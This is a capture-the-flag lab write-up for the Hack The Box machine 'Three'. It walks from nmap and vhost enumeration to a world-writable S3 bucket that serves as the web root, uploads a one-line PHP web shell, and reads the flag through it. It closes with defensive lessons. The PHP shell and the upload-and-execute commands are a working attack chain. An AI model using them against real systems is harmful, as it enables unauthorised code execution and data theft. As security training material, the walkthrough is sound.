← All writeups

HTB Starting Point: Three

Three is a Tier 1 Starting Point box, and it’s a clean lesson in how one cloud misconfiguration turns into full remote code execution. The site for a band called The Toppers is backed by a self-hosted S3 bucket, that bucket lets anyone write to it, and Apache runs whatever PHP ends up in it. Chain those together and you get a shell.

Recon

Start with a full service scan and note what’s exposed.

sudo nmap -sC -sV 10.129.96.248
Port Service Version
22 SSH OpenSSH 7.6p1 (Ubuntu)
80 HTTP Apache httpd 2.4.29 (Ubuntu)

SSH is unlikely to be the way in without creds, so the web server gets my attention. The page is “The Toppers”, a mostly static band site. The useful part of a site like this is always the contact section, and here every email address uses the thetoppers.htb domain.

So I set up name resolution before going further.

sudo nano /etc/hosts
# 10.129.96.248   thetoppers.htb

Enumeration

Directory busting was quiet, so I moved to virtual host enumeration. Multiple subdomains served off one IP is a common pattern, and it’s exactly what gobuster’s vhost mode is for.

gobuster vhost -u http://thetoppers.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain

That returned s3.thetoppers.htb.

The one detail that unlocked the box: a subdomain literally named s3. That’s Amazon-style object storage, and a self-hosted one usually means an emulator that’s been left wide open.

I added the new vhost to /etc/hosts next to the first, then confirmed the service was alive.

echo "10.129.96.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts
curl -s http://s3.thetoppers.htb/

The endpoint answered like a running S3 service, so I talked to it as one. The AWS CLI doesn’t validate credentials against this box, so any junk values work. I filled every field with temp.

aws configure
# AWS Access Key ID:     temp
# AWS Secret Access Key: temp
# Default region name:   temp
# Default output format: temp

aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

There’s a bucket named thetoppers.htb, and listing it shows the actual website files. That’s the whole game. The bucket isn’t side storage, it is the web root. Apache serves straight out of it, so anything I write to the bucket I can then request over HTTP, and since PHP is enabled it gets executed rather than handed back as text.

Foothold

I wrote the smallest useful web shell, a one liner that runs whatever I pass in the cmd parameter, and uploaded it into the bucket.

echo '<?php system($_GET["cmd"]); ?>' > shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php

If the upload fails with a DNS or addressing error, switch the CLI to path style so it stops trying to resolve thetoppers.htb.s3.thetoppers.htb: aws configure set default.s3.addressing_style path.

Then I confirmed execution by asking who I was running as.

curl "http://thetoppers.htb/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data.

Privilege Escalation

None needed. On Three the flag sits in the web root’s parent directory and is readable by the web user, so the foothold shell is enough to finish the box.

curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"

That returns the flag. Box done.

Takeaways

  • The intended path was exactly this one. The emails gave me the domain, the domain led to vhost enumeration, and the s3 subdomain gave up the rest.
  • Read the contact page and the page source. Skipping them costs you the first foothold on boxes like this.
  • The real bug isn’t S3, it’s two mistakes stacked: a bucket writable by anyone, used directly as the web root by a server that runs PHP. Either one alone is bad. Together they’re instant RCE.
  • Defensive version: don’t serve executable content out of a writable object store, require real credentials on the storage backend, and keep uploads on a host that can’t run code.

Only test targets you’re allowed to. This is a retired Starting Point box on my own Hack The Box account. Never a live site you don’t own.

← All writeups